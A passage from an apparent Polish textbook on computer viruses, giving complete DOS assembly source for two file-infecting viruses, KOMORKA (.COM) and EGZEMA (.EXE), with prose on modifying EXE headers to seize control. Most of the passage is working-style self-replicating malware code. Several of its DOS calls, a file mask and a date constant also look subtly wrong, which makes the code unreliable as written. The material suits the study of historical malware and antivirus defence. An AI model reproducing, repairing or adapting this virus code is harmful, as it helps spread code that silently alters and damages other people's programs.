ASSUME CS:KOMORKA, DS:KOMORKA
ORG 100h
NUL = 00h ; \
LF = 0Ah ; \ stale znakow
CR = 0Dh ; / ASCII
DOLAR = '$' ; /
AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID
; atrybut poszukiwanej pozycji
; katalogu
VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa
VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywanych przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 dup (?) ; nazwa znalezionej pozycji
DTAStruc ends
Start: ; tu zaczyna sie program ofiary
db 0E9h,00h,00h ; symuluj rozkaz JMP NEAR
; bedacy czescia zarazonego
; programu
VirusStart: ; tu zaczyna sie kod wirusa
mov si,word ptr ds:[101h] ; pobierz relatywny ofset do miejsca
; w pamieci, gdzie znajduje sie wirus
; wartosc ta to czesc rozkazu JMP NEAR
; na poczatku, przy pierwszym wywolaniu
; =0000h
mov al,byte ptr ds:[si+StareBajty] ; \ Przywroc zapamietane 3 bajty
mov ds:[100h],al ; \ na poczatek programu CS:100h
mov ax,word ptr ds:[si+StareBajty+1] ; / Podczas pierwszego uruchomienia
mov ds:[101h],ax ; / jest to kod Int 20h
lea dx,[si][TeInformacja] ; podaj gdzie jest tekst
Call Informacja ; spytaj o uruchomienie wirusa
jnc Infekcja ; CF=1 oznacza nie uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj
Infekcja:
lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
lea dx,[si][MaskaCOM] ; maska poszukiwanych plikow '*.COM'
mov cx,Atrybut ; podaj atrybut poszukiwanej pozycii
mov ah,4Bh ; funkcja DOS - szukaj pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc NieMaPlikuCOM ; gdy CF=1, to blad
KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj nastepnego
mov ax,word ptr [si][NoweDTA.DTASize+2]
; pobierz starsza czesc dlugosci
; pliku
or ax,ax ; czy plik krotszy niz 65536
jnz SzukajNastepnyPlik ; nie - szukaj nastepnego
mov ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc pliku
cmp ax,64000 ; czy dlugosc <= 64000
ja SzukajNastepnyPlik ; nie - szukaj nastepnego
cmp ax,3 ; czy dlugosc >= 3
jb SzukajNastepnyPlik ; nie - szukaj nastepnego
sub ax,3 ; odejmij dlugosc skoku E9 ?? ??
mov word ptr [si][Skok+1],ax ; zapisz do bufora rozkaz skoku
mov cx,AtrArchive ; podaj nowy atrybut : Archive
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1 to blad
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov cx,3 ; ilosc czytanych bajtow
lea dx,[si+StareBajty] ; podaj dokad czytac 3 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [si+StareBajty] ; wez dwa pierwsze bajty pliku
cmp ax,'MZ' ; i sprawdz czy to nie EXE
je ZamknijPlik ; gdy 'MZ', to plik EXE, powrot
cmp ax,'ZM' ;
je ZamknijPlik ; gdy 'ZM', to plik EXE, powrot
xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,VirusDlug ; ilosc zapisanych bajtow
lea dx,[si+103h] ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,3 ; ilosc zapisanych bajtow
lea dx,[si][Skok] ; podaj skad zapisac rozkaz skoku
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA
mov dx,VZnacznik ; zaznacz infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date,czas
int 21h ; wywolaj funkcje DOS
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje DOS
PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut, CH=0
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h
SzukajNastepnyPlik: ; poprzedni plik byl zarazony
mov ah,4Fh ; funkcja DOS - szukaj innego
; plik COM
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad
NieMaPlikuCOM:
mov dx,80h ; przywroc pierwotne DTA=PSP:80h
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
BezInfekcji:
mov ax,100h ; \ skocz na poczatek programu
jmp ax ; / do ofiary
MaskaCOM db '*.COM' ; maska plikow COM (ASCIIZ)
StareBajty db 0CDh,20h,90h ; bufor zawiera zapamietane bajty
; z poczatku programu
; tu : kod rozkazu int 20h/NOP
Skok db 0E9h,?,? ; rozkaz skoku
; Czesc Informayjna
Informacja:
mov ah,09h ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje DOS
mov ah,01h ; funkcja DOS - czytaj znak
; ze standardowego wejscia
int 21h ; wywolaj funkcje DOS
; AL zawiera znak
push ax ; zapamietaj na chwile znak
mov ax,0E0Dh ; \ przejdz
int 10h ; \ do
mov ax,0E0Ah ; / nastepnej
int 10h ; / linii
pop ax ; przywroc znak
and al,11011111b ; konwertuj znak na wielka litere
cmp al,'T' ; czy potwierdzona infekcja
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i powrot
CLCRet:
ret ; powrot
TeInformacja db CR,LF,'KOMORKA v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR
VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>
KOMORKA ENDS
END Start
4.1.2. Pliki wykonywalne EXE
Poprzednio omówione pliki COM przeważały w początkowym okresie istnienia systemu DOS, lecz szybko zostały wyparte przez pliki EXE, które oferowały możliwość pisania programów mieszczących się w kilku segmentach.
Zarażanie plików EXE jest sprawą o wiele trudniejszą od infekcji plików COM ze względu na ich bardziej skomplikowaną budowę, a także na konieczność wykrywania systemu, dla którego plik jest przeznaczony. Pliki EXE dzielą się bowiem na tzw. stare (ang. old executab-les) i nowe (ang. new executables). Pierwsze z nich przeznaczone są tylko i wyłącznie dla systemu DOS, natomiast drugie to programy działające w środowiskach wykorzystujących tryb chroniony. Jak pokazano dalej, na podstawie danych zawartych w pliku EXE można wykryć system, dla którego jest on przeznaczony i w rezultacie plik taki zainfekować.
4.1.2.1. Pliki EXE dla systemu DOS (stare EXE)
Jak już wspomniano, pliki COM mogły zawierać w swym wnętrzu tylko jeden segment, wspólny dla kodu, danych i stosu. W przeciwieństwie do nich pliki EXE mogą zawierać programy, których rozmiary ograniczone są tylko przez wielkość dostępnej aktualnie pamięci operacyjnej, znajdującej się poniżej pierwszych 640kB. Najczęściej w programach tych jest kilka segmentów kodu i danych, a także
osobny segment stosu. Ze względu na bardziej skomplikowaną strukturę, do załadowania programów EXE system DOS potrzebuje więcei informacji, niż w przypadku plików COM. Informacje zawarte są w istniejącym na początku każdego pliku EXE nagłówku, który składa sie z dwóch części: sformatowanej i niesformatowanej. Długość sformatowanej części nagłówka jest stała i wynosi 27 bajtów, natomiast długość części niesformatowanej oblicza się na podstawie danych zawartych w nagłówku sformatowanym. W skrajnym przypadku długość części niesrormatowanej może być równa O, co często ma miejsce, gdy programy są wewnętrznie skompresowane i zminimalizowane. Opis sformatowanej części nagłówka podano poniżej.
Sformatowany nagłówek pliku EXE
|
|
|
|
00-01 |
Znacznik pliku EXE. MZ lub ZM |
|
02-03 |
Liczba bajtów na ostatniej, 512 bajtowej, stronie programu, W praktyce oznacza, ile bajtów system DOS musi skopiować z ostatniego sektora zajmowanego przez program. |
|
04-05 |
Długość całego pliku EXE, podana w 512-bajtowych stronach z uwzględnieniem nagłówka i ostatniej strony opisanej w polach 02h-03h. W praktyce oznacza ilość sektorów zajmowanych przez program, |
|
06-07 |
Liczba elementów relokowalnych w programie, czyli liczba 4-bajtowych rekordów, znajdujących siew niesformatowanej części nagłówka, opisujących miejsca w kodzie programu (jako segment: przesunięcie; w każdym rekordzie przesunięcie znajduje się przed segmentem), gdzie należy dodać segment, pod który ładowany jest program |
|
08-09 |
Długość nagłówka w 16-bajtowych paragrafach |
|
0A-0B |
Minimalna wymagana pamięć poza załadowanym kodem programu, podana w 16-bajtowych paragrafach |
|
0C-0D |
Maksymalna wymagana pamięć poza załadowanym kodem programu, podana w 16-bajtowych paragrafach |
|
0E-0F |
Początkowa wartość rejestru segmentowego stosu (SS) względem początku programu. |
|
10-11 |
Początkowa wartość wskaźnika stosu (SP) |
|
12-13 |
Suma kontrolna (zanegowana suma wszystkich bajtów w pliku), nie używana przez DOS, stąd pole to może posłużyć jako wskaźnik zainfekowania pliku |
|
14-15 |
Początkowa wartość licznika rozkazów IP |
|
16-17 |
Początkowa wartość rejestru segmentu kodu CS względem początku programu. |
|
18-19 |
Adres pierwszej pozycji tablicy relokacji w stosunku do początku pliku. Jeżeli pole jest równe 40h lub więcej, jest to prawdopodobnie nowy plik EXE |
|
1A-1B |
Numer nakładki |
Informacje zawarte w nagłówku pliku EXE zawierają wymagania programu dotyczące pamięci operacyjnej oraz ustalają początkowe wartości rejestrów SS i SP, odpowiedzialnych za stos, a także rejestrów CS i IP, wskazujących na pierwszą instrukcję programu.
Dopiero po nagłówkach pojawia się właściwy kod programu, a za nim, na końcu niektórych plików EXE przeznaczonych dla systemu DOS, znajduje się często tzw. wewnętrzna nakładka (ang. internal overlay), zawierająca dodatkowe dane lub kod programu. Wykorzystując fakt, iż znakomita większość istniejących wirusów nie zaraża plików EXE z wewnętrznymi nakładkami, można dość prosto zabezpieczyć wszystkie pliki EXE na dysku przed ewentualną infekcją. Wystarczy na końcu każdego z tych plików dopisać jeden dowolny bajt, który przez większość wirusów będzie uznawany za wewnętrzną nakładkę.
Dopiero po odczytaniu i zinterpretowaniu danych z nagłówka system może przystąpić do ładowania właściwego programu, zawartego w pliku EXE, który umieszczany jest bezpośrednio za blokiem PSP. Z powyższego wynika, iż w przeciwieństwie do programu COM obraz programu EXE wygląda inaczej w pamięci niż na dysku.
Po wczytaniu programu do wartości początkowych rejestrów CS i SS (zawartych w nagłówku sformatowanym) dodawany jest adres segmentu, pod który został on załadowany. Adres tego segmentu służy także do zmodyfikowania pewnych instrukcji w programie, które są zależne od jego faktycznego umiejscowienia w pamięci operacyjnej (są to np. rozkazy wywołań dalekich procedur i skoków oraz operacje na segmentach występujących w programie). Adresy w pamięci, które trzeba w ten sposób zmodyfikować, zawarte są w tablicy relokacji.
Pierwszą czynnością wykonywaną przez wirusa powinno być odczytanie sformatowanego nagłówka pliku potencjalnej ofiary i porównanie dwóch pierwszych bajtów programu (znacznik z pola 00h-0lh) z sekwencją 'MZ' lub 'ZM'. Jeżeli porównanie wypadło pomyślnie, istnieje duża szansa, iż jest to plik typu EXE i można go spróbować zainfekować. Drugą czynnością wykonywaną przez wirusa powinno być sprawdzenie, czy plik EXE jest programem przeznaczonym dla systemu DOS. Na pozycji 18h-19h w nagłówku widnieje wtedy wartość mniejsza od 40h, w przeciwnym wypadku jest to prawdopodobnie nowy EXE. Kolejnym krokiem wykonywanym przez wirusa powinno być sprawdzenie, czy plik EXE nie zawiera wewnętrznej nakładki. Dokonuje się tego poprzez porównanie długości całego pliku EXE (widzianej przez DOS) z długością obliczaną na podstawie pól zawartych w nagłówku (pola 02h-03h i U4h-05h). Jeżeli wartości te różnią się od siebie, plik zawiera nakładkę. Taki plik także można zainfekować, jednak wiąże się to z koniecznością przesunięcia w nim całej nakładki o długość wirusa, tak aby ten mógł umieścić swój kod bezpośrednio za obrazem ładowanym przez DOS do pamięci. Podczas uruchamiania programu EXE nakładka nie jest ładowana do pamięci bezpośrednio z programem, tak więc gdyby wirus znajdował się w pliku bezpośrednio za nią, także nie zostałby załadowany i w efekcie program by się zawieszał. Zarażone programy z wewnętrzną nakładką często nie będą działały poprawnie, zwłaszcza jeśli korzystając z nakładki nie obliczają adresów w pliku na bieżąco (tzn. na podstawie pól nagłówka), lecz korzystają z wartości stałych. Powyższe problemy sprawiają, iż większość wirusów zaprzestaje infekcji po wykryciu, iż plik EXE zawiera nakładkę i dzięki temu można zastosować opisaną wcześniej sztuczkę z 1-bajtową pseudonakładką. Infekcja pliku EXE bez wewnętrznej nakładki polega na odpowiedniej modyfikacji sformatowanej części nagłówka, tak by początkowe wartości rejestrów CS:IP (zawartych w polach 16h-17h i 14h-15h w nagłówku) wskazywały na wirusa, który zwykle dopisywany jest na końcu pliku. Najczęściej zmieniane są także początkowe wartości SS i SP (pola 10-llh i 0Eh-0Fh w nagłówku), ażeby nie okazało się, iż po uruchomieniu stos ustawiony jest na kod wirusa. Warto także zmodyfikować parametry minimalnej i maksymalnej pamięci wymaganej przez program, tak aby uwzględniały długość kodu wirusa. Prawdziwe wartości zmienianych parametrów trzeba wcześniej zapamiętać, żeby wirus po uruchomieniu mógł przekazać sterowanie do oryginalnego programu.
Inny sposób na przejęcie kontroli nad zainfekowanym programem po jego uruchomieniu polega na odnalezieniu w pliku zawierającym jego kod (np. przy pomocy łatwo dostępnej tablicy relokacji) wywołań dalekich procedur (najczęściej będących funkcjami bibliotecznymi) o 5 bajtowym kodzie 9A OO OO SS SS, gdzie SSSS:OOOO oznacza adres, pod którym znajduje się wywoływana procedura (SS SS oznacza segment, a OO OO - przesunięcie). Inicjując program, DOS dodaje do ustalonej, zawartej w pliku wartości SS SS adres, pod który został załadowany program. Zmieniając w pliku wartość SS SS:OO OO tak, by wskazywał on na wirusa, można ominąć konieczność modyfikacji pól 16h-17h i 14h-15h w nagłówku i przy okazji utrudnić odnalezienie wirusa w pliku. Tego typu wirus uruchomi się dopiero po próbie wywołania dalekiej procedury, co może zdarzyć się w dowolnym momencie programu (a nie od razu na początku).
Typowy wygląd starego pliku EXE przed i po infekcji przedstawiony został w poniższych tabelach.
Struktura niezainfekowanego pliku EXE
|
Zawartość pliku |
|
Sformatowany nagłówek pliku EXE zaczynający się literami 'MZ' lub 'ZM' Niesformatowany nagłówek pliku EXE zawierający tablicę relokacji i ewentualnie jakieś dane, np. nazwisko autora, nazwę programu Właściwy kod programu Ewentualna nakładka |
Struktura zainfekowanego pliku EXE
|
Zawartość pliku |
|
Sformatowany nagłówek pliku EXE zaczynający się literami ‘MZ’ lub ‘ZM' z wprowadzonymi przez wirusa zmianami Niesformatowany nagłówek pliku EXE zawierający tablicę relokacji i ewentualnie jakieś dane, np. nazwisko autora, nazwę programu Właściwy kod programu Kod wirusa Ewentualna nakładka; występuje bardzo rzadko, gdyż większość wirusów nie zaraża plików z wewnętrznymi nakładkami |
Ponizej przedstawiono przyklad prostego nierezydetnego wirusa infekujacego pliki EXE.
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; EGZEMA v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Prosty wirus nierezydentny plikow EXE ;
; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
; znajdujace sie w biezacym katalogu ;
; ;
; Kompilacja : ;
; TASM EGZEMA.ASM ;
; TLINK EGZEMA.OBJ ;
; ;
;----------------------------------------------------------------------------;
EGZEMA SEGMENT
JUMPS
ASSUME CS:EGZEMA, DS:EGZEMA
NUL = 00h ; \
LF = 0Ah ; \ stale znakow
CR = 0Dh ; / ASCII
DOLAR = '$' ; /
AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrDirectory
; atrybut poszukiwanej pozycji
; katalogu
VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa
VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywanych przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 dup (?) ; nazwa znalezionej pozycji
DTAStruc ends
VirusStart: ; tu zaczyna sie kod wirusa
Call Trik ; \
Trik: ; \
pop si ; / oblicz relatywny ofset
sub si,3 ; /
push cs ; \ DS=CS=kod wirusa
pop ds ; /
mov ax,es ; \ es=PSP+10h
add ax,10h ; /
add [si][StarySS],ax ; \
push [si][StarySS] ; - zachowaj wartosci stosu
push [si][StarySP] ; / dla nosiciela
add ax,[si][StaryCS] ; \
mov [si][SkokCS],ax ; \ utworz pelny rozkaz skoku
mov ax,[si][StaryIP] ; / do nosiciela
mov [si][SkokIP],ax ; /
lea dx,[si][TeInformacja] ; podaj gdzie jest tekst
Call Informacja ; spytaj o uruchomienie wirusa
jnc Infekcja ; CF=1 oznacza nie uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj
Infekcja:
lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
lea dx,[si][MaskaEXE] ; maska poszukiwanych plikow '*.EXE'
mov cx,Atrybut ; podaj atrybut poszukiwanej pozycii
mov ah,4Eh ; funkcja DOS - szukaj pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc BezInfekcji ; gdy CF=1, to blad
KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj nastepny
cmp word ptr [si][NoweDTA.DTASize],26; czy dlugosc>=26 bajtow ?
jb SzukajNastepnyPlik ; nie = szukaj nastepny
mov cx,AtrArchive ; podaj nowy atrybut : Archive
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov cx,26 ; ilosc czytanych bajtow
lea dx,[si][Naglowek] ; podaj dokad czytac 26 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [si][Naglowek] ; wez dwa pierwsze bajty pliku
cmp ax,'mz' ; i sprawdz, czy to EXE
je JestEXE ; gdy 'MZ', to plik EXE
cmp ax,'zm' ;
jne ZamknijPlik ; gdy 'ZM', to plik EXE
JestEXE:
cmp word ptr [si][Naglowek+18h],40h ; czy plik Nowy EXE ?
; (pominiete zostana takze
; niektore pliki EXE z ustawionym
; adresem tablicy relokacji > 40h)
jae ZamknijPlik ; TAK - szukaj nastepny
mov ax,word ptr [si][Naglowek+14h] ; \ zachowaj stare CS i IP
mov [si][StaryIP],ax ; \ z pliku
mov ax,word ptr [si][Naglowek+16h] ; /
mov [si][StaryCS],ax ; /
mov ax,word ptr [si][Naglowek+10h] ; \ zachowaj stare SS i SP
mov [si][StarySP],ax ; \ z pliku
mov ax,word ptr [si][Naglowek+0Eh] ; /
mov [si][StarySS],ax ; /
mov ax,word ptr [si][Naglowek+08h] ; \ wez dlugosc naglowka w
mov cx,16 ; - paragrafach i oblicz
mul cx ; / jego dlugosc w bajtach
mov bp,ax ; \ zachowaj dlugosc na pozniej
mov di,dx ; /
mov ax,word ptr [si][Naglowek+04h] ; wez ilosc stron
cmp word ptr [si][Naglowek+02h],0 ; czy ilosc bajtow na ostatniej stronie=0
jz NieZmniejszaj ; TAK - nie zmniejszaj ilosci stron
cmp ax,0 ; czy ilosc stron=0 ?
jz NieZmniejszaj ; TAK - nie zmniejszaj ilosci stron
dec ax ; NIE zmniejsz ilsoc stron o jedna
NieZmniejszaj:
mov word ptr [si][Naglowek+04h],ax ; zapisz na pozniej
mov cx,512 ; wez dlugosc obrazu programu w stronach
mul cx ; i oblicz jego dlugosc w bajtach
add ax,word ptr [si][Naglowek+02h] ; dodaj ilosc bajtow na ostatniej stronie
adc dx,0 ; dodaj ewentualne przeniesienie
cmp ax,word ptr [si][NoweDTA.DTASize]
; \ czy rozmiar obrazu z naglowka
jne ZamknijPlik ; \ jest rowny dlugosci pliku ?
cmp dx,word ptr [si][NoweDTA.DTASize+2]
; / TAK - infekuj
jne ZamknijPlik ; / NIE - prawdopodobnie nakladka
sub ax,bp ; \ odejmij od dlugosci pliku
sbb dx,di ; / dlugosc naglowka
; ax,dx=dlugosc kodu programu
mov cx,16 ; oblicz nowe CS i SP
div cx ; dla programu
mov word ptr [si][Naglowek+14h],dx ; zachowaj nowe IP
mov word ptr [si][Naglowek+16h],ax ; zachowaj nowe CS
add dx,100h+VirusDlug ; stos bedzie za wirusem
and dl,11111110b ; SP - najczesciej jest parzysty
mov word ptr [si][Naglowek+10h],dx ; zachowaj nowe SP
mov word ptr [si][Naglowek+0Eh],ax ; zachowaj nowe SS
mov ax,word ptr [si][Naglowek+02h] ; \
add ax,VirusDlug ; \
cwd ; \
mov cx,512 ; \
div cx ; \
add word ptr [si][Naglowek+04h],ax ; - zmien dlugosc obrazu
mov word ptr [si][Naglowek+02h],dx ; / w naglowku pliku EXE
or dx,dx ; /
jz NieDodawaj ; /
inc word ptr [si][Naglowek+04h] ; /
NieDodawaj: ; /
xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,VirusDlug ; ilosc zapisywanych bajtow
mov dx,si ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,26 ; ilosc zapisywanych bajtow
lea dx,[si][Naglowek] ; podaj skad zapisac nowy naglowek
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA
mov dx,VZnacznik ; zaznacz infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
int 21h ; wywolaj funkcje DOS
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje DOS
PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut
mov ch,0 ; CX=CL
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h
SzukajNastepnyPlik: ; poprzedni plik byl zarazony
mov ah,4Fh ; funkcja DOS - szukaj innego
; pliku EXE
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad
BezInfekcji:
push es ; \ es=ds=PSP
pop ds ; /
mov dx,80h ; przywroc pierwotne DTA=PSP:80h
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
pop ax ; \ zdejmij ze stosu wartosci
pop dx ; / SS i SP nosiciela
mov ss,dx ; \ i umiesc te wartosci w
mov sp,ax ; / SS i SP
db 0EAh ; powroc do nosiciela
SkokIP dw ? ; \ czesc skoku JMP FAR
SkokCS dw ? ; /
MaskaEXE db '*.EGZE' ; maska plikow EXE (ASCIIZ)
Naglowek db 26 dup(?) ; bufor zawiera zapamietane bajty
; z poczatku programu
; tu : kod rozkazu int 20h/NOP
; Czesc Informayjna
Informacja:
mov ah,09h ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje DOS
mov ah,01h ; funkcja DOS - czytaj znak
; ze standardowego wejscia
int 21h ; wywolaj funkcje DOS
; AL zawiera znak
push ax ; zapamietaj na chwile znak
mov ax,0E0Dh ; \ przejdz
int 10h ; \ do
mov ax,0E0Ah ; / nastepnej
int 10h ; / linii
pop ax ; przywroc znak
and al,11011111b ; konwertuj znak na wielka litere
cmp al,'T' ; czy potwierdzona infekcja ?
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i powrot
CLCRet:
ret ; powrot
TeInformacja db CR,LF,'EGZEMA v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR
StaryCS dw 0
StaryIP dw offset Nosiciel
StarySS dw 0
StarySP dw offset Nosiciel+100h
VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>
Nosiciel:
mov ax,4C00h
int 21h
EGZEMA ENDS
END VirusStart
4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE)
Duża część istniejących obecnie plików EXE to tzw. nowe EXE. Mają one inną budowę niż pliki przeznaczone dla systemu DOS. Na ich początku znajduje się krótki programik działający w systemie DOS, tzw. STUB, mający za zadanie bądź wyświetlenie komunikatu, iż plik zawiera program nie działający w systemie DOS, bądź też próbę uruchomienia zawartego w pliku właściwego programu dla trybu chronionego pod kontrolą odpowiedniego dla niego środowiska, najczęściej używającego trybu chronionego, np. WINDOWS, DOS4GW. Nawiasem mówiąc, fakt istnienia programu STUB stwarza możliwość napisania programu działającego równocześnie pod dwoma systemami, np. pod DOS i WIN-DOWS. To, który z programów byłby wykonywany byłoby zależne od systemu, pod którym byśmy aktualnie pracowali. Program dla DOS-a pełniłby tu rolę programu STUB.
Po programie STUB znajduje się właściwy program przeznaczony dla trybu chronionego, posiadający, podobnie jak programy dla DOS, odpowiednio sformatowany nagłówek. Różne systemy mają różną strukturę tego nagłówka, tak więc infekcja takich programów jest o wiele trudniejsza niż w przypadku plików przeznaczonych dla DOS. Komplikacje przy pisaniu wirusów infekujących takie pliki wynikają także ze znacznych różnic, jakie występują pomiędzy trybem chronionym, dla którego są one przeznaczone, a trybem rzeczywistym, używanym przez DOS. Potencjalny twórca takiego wirusa musi uwzględniać przy jego programowaniu podstawowe cechy systemów wielozadaniowych: podział i ochronę zasobów, fakt stronicowania pamięci, połączonego z wymiataniem nie używanych obszarów pamięci na dysk (ang. swapping} oraz podział programu na oddzielne bloki danych, kodu i stosu, posiadających odpowiednie prawa dostępu, zawarte w deskryptorach. Można powiedzieć, iż bez dobrej znajomości trybu chronionego napisanie wirusa dla nowych EXE jest niemożliwe. Dowód na to stanowi stosunkowo mała liczba wirusów pisanych pod systemy Windows 3.l, Windows 95 czy OS/2 (inną ważną przyczyną tego stanu rzeczy jest utrudniony dostęp do dokładnych informacji o tych systemach).
